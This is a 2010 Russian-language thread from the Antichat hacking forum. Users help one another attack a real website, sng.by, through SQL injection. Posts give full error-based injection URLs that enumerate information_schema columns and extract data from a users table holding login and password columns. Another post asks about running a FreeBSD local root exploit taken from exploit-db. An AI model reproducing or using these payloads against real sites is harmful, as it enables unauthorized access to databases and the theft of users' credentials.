HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 12.05.2010, 20:59
olishort
Участник форума
Регистрация: 13.04.2009
Сообщений: 121
С нами: 8988613

Репутация: 33
По умолчанию

вывожу таблицы. версия мускула 5я.
при выводе таблиц окончание съедается. допустим.

user_1, user_2, use

как можно вывести все?
пользуюсь так group_concat(table_name)
 
Ответить с цитированием

  #2  
Старый 12.05.2010, 18:57
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами: 10309346

Репутация: 4303


По умолчанию

Цитата:
Сообщение от Pashkela  
+, почти в точку) Ограничение длины GET-запроса, и всё, элементарно
это не ограничение, а значение переменной обрезается
 
Ответить с цитированием

  #3  
Старый 12.05.2010, 19:29
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

Цитата:
это не ограничение, а значение переменной обрезается
тоже самое другими словами ^_^

Но таки с возвращением, грозный Спудер

Последний раз редактировалось Pashkela; 12.05.2010 в 19:34..
 
Ответить с цитированием

  #4  
Старый 12.05.2010, 20:35
Bb0y
Участник форума
Регистрация: 30.10.2009
Сообщений: 103
С нами: 8700497

Репутация: 388
По умолчанию

2GroM88, users = 0x7573657273
 
Ответить с цитированием

  #5  
Старый 12.05.2010, 21:19
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
С нами: 9846041

Репутация: 1177


По умолчанию

Значит так, хотел порутать фряху выбрал (http://www.exploit-db.com/exploits/10255).
SH файл исполнять не хотел, решил вручную.
Делал все по порядку, ошибки были те же, что и на странице с плоентом, НО
когда запустил ./env выелетло:
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; aborting

"/libexec/ld-elf.so.1: environment corrupt; missing value for" - такая же ошибка вылетает и у автора плоента, но вот по след. ошибке видно, что все сбрассывается.

Можете объяснить почему, пожалуйста?
 
Ответить с цитированием

  #6  
Старый 12.05.2010, 21:49
GroM88
Познающий
Регистрация: 25.10.2007
Сообщений: 46
С нами: 9761387

Репутация: 2
По умолчанию

_http://sng.by/articles/439'+and+(select+1+from+(select+count(0),concat((s elect+column_name+from+information_schema.columns+ where+table_name=0x7573657273+limit+2,1),floor(ran d(0)*2))+from+information_schema.columns+group+by+ 2)a)--+.html

Подскажите как теперь составить запрос что бы выводить данные из колонок?
пжлст = \
 
Ответить с цитированием

  #7  
Старый 12.05.2010, 22:04
pinch
Участник форума
Регистрация: 13.12.2009
Сообщений: 130
С нами: 8638130

Репутация: 54
По умолчанию

http://sng.by/articles/439'+and+(select+1+from+(select+count(0),concat((s elect+КОЛОНКА+from+users+limit+0,1),floor(r an d(0)*2))+from+information_schema.tables+group+by+ 2)a)--+.html
 
Ответить с цитированием

  #8  
Старый 12.05.2010, 22:13
GroM88
Познающий
Регистрация: 25.10.2007
Сообщений: 46
С нами: 9761387

Репутация: 2
По умолчанию

Цитата:
Сообщение от pinch  
http://sng.by/articles/439'+and+(select+1+from+(select+count(0),concat((s elect+КОЛОНКА+from+users+limit+0,1),floor(r an d(0)*2))+from+information_schema.tables+group+by+ 2)a)--+.html
что-то не то выдает совсем = \
Table 'sngby_sngby.users' doesn't exist
 
Ответить с цитированием

  #9  
Старый 12.05.2010, 22:20
Bb0y
Участник форума
Регистрация: 30.10.2009
Сообщений: 103
С нами: 8700497

Репутация: 388
По умолчанию

либо таблицы users не существует, либо в ней нет выборки
 
Ответить с цитированием

  #10  
Старый 12.05.2010, 22:25
GroM88
Познающий
Регистрация: 25.10.2007
Сообщений: 46
С нами: 9761387

Репутация: 2
По умолчанию

Цитата:
Сообщение от Bb0y  
либо таблицы users не существует, либо в ней нет выборки
да не) вроде сущевствует)
и вней есть такие колонки как login, Ppassword
хм...
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.